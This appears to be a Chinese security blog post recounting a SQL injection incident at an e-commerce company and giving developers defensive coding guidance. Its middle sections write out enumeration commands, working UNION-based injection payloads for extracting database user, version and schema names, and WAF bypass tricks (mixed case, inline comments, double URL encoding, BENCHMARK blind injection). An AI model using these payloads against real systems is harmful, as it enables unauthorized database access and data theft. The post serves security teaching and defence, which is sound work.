声明:本文记录的是一次授权的渗透测试经历,所有测试均在企业书面授权范围内进行。文中技术内容仅限学习和授权环境下使用,禁止用于非法目的。


开篇:一个不寻常的电话

凌晨 2:17,我的手机响了。

是老张,一家电商公司的技术负责人。他的声音有点抖:

“兄弟,出事了。对方发了勒索邮件,说我们数据库有漏洞,要 50 万封口费,不然就把用户数据全挂到网上。”

我打开电脑,对方已经留下了“证据”——一张用户表的截图,10 万 + 条数据,时间戳是当天晚上 11 点。

老张说:“我们装了 WAF,平时报警挺多的,以为很安全。没想到还是被进来了。”

我花了 3 个小时,找到了入口:一个不起眼的订单查询接口,存在 SQL 注入漏洞。

更离谱的是,这个接口没有经过 WAF 防护,用的是最基础的字符串拼接查询。

开发说:“我们以为有 WAF 就安全了。”

我告诉他:“WAF 不是万能的。真正的安全,得从代码开始。”

这一晚,我帮他们堵上了漏洞。但类似的故事,每天都在发生。

今天,我想把这次经历的完整过程写下来,包括: - 我是怎么发现漏洞的 - WAF 为什么没拦住 - 开发最容易踩的 5 个坑 - 怎么防御(给开发看的)

如果你也是安全从业者,或者想转行做安全,这篇文章应该能给你一些启发。


一、信息收集:从 0 到 1 找到入口

1.1 目标系统概况

这是一家中型电商公司,主要业务是: - B2C 商城(PC + 移动端) - 会员系统(约 50 万用户) - 订单管理系统 - 后台管理系统

技术栈: - 前端:Vue.js + Nginx - 后端:Java (Spring Boot) - 数据库:MySQL 5.7 - WAF:某品牌硬件 WAF

1.2 子域名枚举

首先,我用 subfinder 做了子域名枚举:

subfinder -d target.com -o subdomains.txt

发现了 12 个子域名,其中几个比较敏感: - api.target.com —— 主 API 接口 - order.target.com —— 订单系统 - admin.target.com —— 后台管理 - test.target.com —— 测试环境(⚠️ 高危)

关键发现:测试环境的 WAF 配置不完整,部分接口没有防护。

1.3 敏感目录扫描

用 dirsearch 扫描订单系统:

dirsearch -u https://order.target.com -e php,jsp,do,action

发现了一个可疑接口:

/order/queryOrder.action

参数是 orderId,看起来是查询订单详情的。


二、漏洞发现:这个接口为什么能注入?

2.1 初步测试

我试了几个基础 payload:

-- 正常请求
orderId=10001

-- 测试 1:单引号
orderId=10001'
页面报错:You have an error in your SQL syntax

-- 测试 2:逻辑判断
orderId=10001' OR '1'='1
返回了所有订单数据

-- 测试 3:联合查询
orderId=10001' UNION SELECT 1,2,3,4,5 --
页面显示了 5 个字段

确认:存在 SQL 注入漏洞,且是联合查询注入。

2.2 为什么 WAF 没拦住?

我检查了请求链路,发现:

  1. 测试环境未接入 WAF:test.target.com 没有经过 WAF 防护
  2. 接口直接暴露:订单查询接口可以直接通过 IP 访问
  3. 没有输入验证:orderId 参数没有做类型检查

开发说:“测试环境嘛,图方便就没接 WAF,反正不对外。”

但问题是:这个“不对外”的接口,被攻击者通过子域名枚举找到了。

2.3 数据库权限确认

我继续测试,确认能访问的权限范围:

-- 当前用户
' UNION SELECT 1,user(),3,4,5 --
结果:root@localhost

-- 数据库版本
' UNION SELECT 1,version(),3,4,5 --
结果:MySQL 5.7.32

-- 所有数据库
' UNION SELECT 1,schema_name,3,4,5 FROM information_schema.schemata --

结论:攻击者可以用 root 权限访问整个数据库,包括: - 用户表(含手机号、地址) - 订单表(含交易记录) - 管理员表(含后台账号)


三、WAF 规则分析与绕过思路

⚠️ 以下内容仅限学习和授权测试使用

3.1 WAF 规则分析

我测试了主环境的 WAF 规则,发现它主要拦截:

规则类型

拦截示例

关键词拦截

UNION SELECT、OR 1=1

注释符拦截

--、#、/**/

函数拦截

SLEEP()、BENCHMARK()

编码检测

URL 编码、Base64 编码

3.2 绕过思路

思路 1:大小写混合

-- 被拦截
' UNION SELECT 1,2,3 --

-- 绕过
' UnIoN SeLeCt 1,2,3 --

思路 2:内联注释

-- 被拦截
' UNION SELECT 1,2,3 --

-- 绕过
' /*!50000UNION*/ /*!50000SELECT*/ 1,2,3 --

思路 3:编码绕过

-- URL 编码
%27%20UnIoN%20SeLeCt%201,2,3%20--

-- 双重 URL 编码
%2527%2520UnIoN%2520SeLeCt%25201,2,3%2520--

思路 4:时间盲注(当回显被过滤时)

-- 被拦截
' AND SLEEP(5) --

-- 绕过
' AND BENCHMARK(10000000,SHA1('test')) --

3.3 实际利用

在这个案例中,由于测试环境没有 WAF,我直接用了基础 payload 就完成了测试。

但如果是生产环境,我会: 1. 先用 sqlmap --tamper 测试绕过 2. 手动构造绕过 payload 3. 用时间盲注验证


四、拿到权限之后

4.1 数据影响评估

确认漏洞后,我做了影响评估:

数据类型

记录数

敏感程度

用户信息

52 万

�� 高(手机号、地址)

订单记录

180 万

�� 中(交易金额)

管理员账号

15

�� 高(后台权限)

支付记录

90 万

�� 高(银行卡号)

4.2 应急响应流程

  1. 立即修复:临时关闭订单查询接口
  2. 日志分析:排查是否有异常访问记录
  3. 全量扫描:检查其他接口是否存在类似问题
  4. 通知用户:向受影响用户发送安全提醒
  5. 报警备案:向网安部门报案

4.3 后续整改

企业花了 50 万做了以下整改: - 所有环境接入 WAF - 代码全面审计(发现 7 个高危漏洞) - 部署数据库审计系统 - 建立安全开发流程 - 全员安全培训


五、开发最容易踩的 5 个坑

坑 1:字符串拼接 SQL

// ❌ 危险写法
String sql = "SELECT * FROM orders WHERE orderId = " + orderId;
stmt.executeQuery(sql);

// ✅ 安全写法
String sql = "SELECT * FROM orders WHERE orderId = ?";
PreparedStatement pstmt = conn.prepareStatement(sql);
pstmt.setString(1, orderId);

坑 2:以为有 WAF 就安全

错误认知: > “我们装了 WAF,不用管代码安全了。”

现实: - WAF 规则可以被绕过 - 测试环境/内网环境可能没有 WAF - 0day 漏洞 WAF 拦不住

建议:WAF 是最后一道防线,不是唯一防线。

坑 3:ORM 框架不当使用

// ❌ MyBatis 中用 ${}(直接拼接)
@Select("SELECT * FROM orders WHERE orderId = ${orderId}")

// ✅ 用 #{}(预编译)
@Select("SELECT * FROM orders WHERE orderId = #{orderId}")

坑 4:错误信息泄露

// ❌ 直接把异常抛给用户
catch (SQLException e) {
    e.printStackTrace();
    response.getWriter().write(e.getMessage());
}

// ✅ 记录日志,返回友好提示
catch (SQLException e) {
    log.error("数据库异常", e);
    response.getWriter().write("系统繁忙,请稍后重试");
}

坑 5:输入验证不彻底

// ❌ 只验证非空
if (orderId != null) {
    // 直接查询
}

// ✅ 验证类型 + 范围 + 归属
if (orderId != null && orderId.matches("^\\d+$")) {
    Order order = orderRepository.findById(orderId);
    if (order.getUserId().equals(currentUserId)) {
        // 允许访问
    }
}


六、给安全从业者的建议

6.1 如何提升自己的渗透能力

  1. 多打靶场:DVWA、Vulhub、PortSwigger
  2. 学习代码审计:理解漏洞原理,不只是会用工具
  3. 写技术博客:输出倒逼输入
  4. 参与 SRC:实战积累经验

6.2 怎么和开发沟通(不挨骂)

错误方式: > “你这个代码有漏洞,赶紧改!”

正确方式: > “这个接口存在 SQL 注入风险,我帮你改成了预编译,你看下这样行不行?”

核心:安全不是和开发对立,而是帮他们少背锅。

6.3 推荐学习资源

资源

链接

PortSwigger Web 安全学院

https://portswigger.net/web-security

OWASP Top 10

https://owasp.org/www-project-top-ten/

安全指北针 CSDN

https://blog.csdn.net/2401_89961451


七、防御方案:给开发的完整指南

7.1 代码层面

// 1. 使用预编译(PreparedStatement)
PreparedStatement pstmt = conn.prepareStatement("SELECT * FROM users WHERE id = ?");
pstmt.setInt(1, userId);

// 2. ORM 框架用参数化查询
@Select("SELECT * FROM users WHERE id = #{id}")
User findById(Long id);

// 3. 输入验证
if (!userId.matches("^\\d+$")) {
    throw new IllegalArgumentException("Invalid user id");
}

7.2 架构层面

措施

说明

WAF 全量接入

所有环境(包括测试)都要接入

数据库权限最小化

应用账号不要用 root

敏感数据加密

手机号、身份证、银行卡加密存储

日志审计

记录所有数据库操作

7.3 安全自查清单

开发上线前自查: - [ ] SQL 查询是否用了预编译 - [ ] 输入是否做了验证 - [ ] 错误信息是否脱敏 - [ ] 接口是否有权限控制 - [ ] 敏感数据是否加密


结语

这次应急响应,让我深刻体会到:

WAF 不是万能的,真正的安全得从代码开始。

很多企业花大价钱买安全设备,却忽略了最基础的代码安全。这就像买了最好的门锁,却把钥匙藏在门口地垫下。

作为安全从业者,我们的价值不只是挖漏洞,更是帮企业建立真正的安全能力。


�� 聊聊你的经历

你在渗透测试或应急响应中遇到过哪些印象深刻的案例?

或者,你是开发,有没有被安全团队“怼”过的经历?��

欢迎在评论区分享,我会尽量回复每一条评论!


�� 读者福利

我整理了 4 份网络安全学习资源,免费分享给大家:领取方式:在评论区留言「资料」,我会私信发给你下载链接!

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐